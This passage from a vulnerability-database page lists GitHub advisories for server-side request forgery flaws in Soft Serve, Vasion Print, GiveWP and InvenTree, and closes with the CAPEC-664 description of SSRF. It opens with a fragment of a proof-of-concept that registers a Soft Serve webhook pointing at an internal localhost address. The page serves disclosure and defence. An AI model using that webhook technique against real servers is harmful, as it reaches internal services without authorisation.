http://127.0.0.1:8080/internal \\\n    --events push --active\n```\n\nthen push to trigger.",
  "id": "GHSA-vwq2-jx9q-9h9f",
  "modified": "2025-11-15T02:51:46Z",
  "published": "2025-11-10T21:34:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/commit/bb73b9a0eea0d902da4811420535842a4f9aae3b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/soft-serve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soft Serve is vulnerable to SSRF through its Webhooks"
}

GHSA-VWXX-W68R-9CM2

Vulnerability from github – Published: 2025-03-05 06:31 – Updated: 2025-11-03 21:33
VLAI
Details

Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.862 Application 20.0.2014 allows Server-Side Request Forgery: CPA v1 V-2023-009.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-27655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-05T06:15:37Z",
    "severity": "CRITICAL"
  },
  "details": "Vasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.862 Application 20.0.2014 allows Server-Side Request Forgery: CPA v1 V-2023-009.",
  "id": "GHSA-vwxx-w68r-9cm2",
  "modified": "2025-11-03T21:33:06Z",
  "published": "2025-03-05T06:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27655"
    },
    {
      "type": "WEB",
      "url": "https://help.printerlogic.com/saas/Print/Security/Security-Bulletins.htm"
    },
    {
      "type": "WEB",
      "url": "https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VX34-745V-7G3G

Vulnerability from github – Published: 2023-12-18 18:30 – Updated: 2026-04-28 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in GiveWP GiveWP – Donation Plugin and Fundraising Platform.This issue affects GiveWP – Donation Plugin and Fundraising Platform: from n/a through 2.25.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-18T15:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in GiveWP GiveWP \u2013 Donation Plugin and Fundraising Platform.This issue affects GiveWP \u2013 Donation Plugin and Fundraising Platform: from n/a through 2.25.1.",
  "id": "GHSA-vx34-745v-7g3g",
  "modified": "2026-04-28T21:33:23Z",
  "published": "2023-12-18T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40312"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/give/wordpress-givewp-plugin-2-25-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VX3H-QWQW-R2WQ

Vulnerability from github – Published: 2024-10-02 17:58 – Updated: 2024-10-02 17:58
VLAI
Summary
Inventree Server-Side Request Forgery vulnerability exposes server port/internal IP
Details

Impact

The "download image from remote URL" feature can be abused by a malicious actor to potentially extract information about server side resources. Submitting a crafted URL (in place of a valid image) can raise a server side error, which is reported back to the user.

This error message may contain sensitive information about the server side request, including information about the availability of the remote resource.

Patches

The solution to this vulnerability is to prevent the server from returning any specific information about the observed exception. Instead, a generic error message is returned to the client.

This patch has been applied to the upcoming 0.17.0 release, and also back-ported to the 0.16.5 stable release.

Workarounds

To avoid this issue with unpatched versions, the "download image from remote URL" feature can be disabled in InvenTree, preventing users from accessing this information.

References

Thanks to @febin0x10 for identifying this vulnerability and reporting it to us as per our security policy.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "inventree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.16.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-02T17:58:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe \"download image from remote URL\" feature can be abused by a malicious actor to potentially extract information about server side resources. Submitting a crafted URL (in place of a valid image) can raise a server side error, which is reported back to the user. \n\nThis error message may contain sensitive information about the server side request, including information about the availability of the remote resource.\n\n### Patches\n\nThe solution to this vulnerability is to prevent the server from returning any specific information about the observed exception. Instead, a generic error message is returned to the client.\n\nThis patch has been applied to the upcoming 0.17.0 release, and also back-ported to the 0.16.5 stable release.\n\n### Workarounds\n\nTo avoid this issue with unpatched versions, the \"download image from remote URL\" feature can be disabled in InvenTree, preventing users from accessing this information. \n\n### References\n\nThanks to @febin0x10 for identifying this vulnerability and reporting it to us as per our security policy.",
  "id": "GHSA-vx3h-qwqw-r2wq",
  "modified": "2024-10-02T17:58:44Z",
  "published": "2024-10-02T17:58:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/inventree/InvenTree/security/advisories/GHSA-vx3h-qwqw-r2wq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inventree/InvenTree/commit/5759b60a48e7e178fb417a900ed543f29dc5dc86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/inventree/InvenTree"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Inventree Server-Side Request Forgery vulnerability exposes server port/internal IP"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.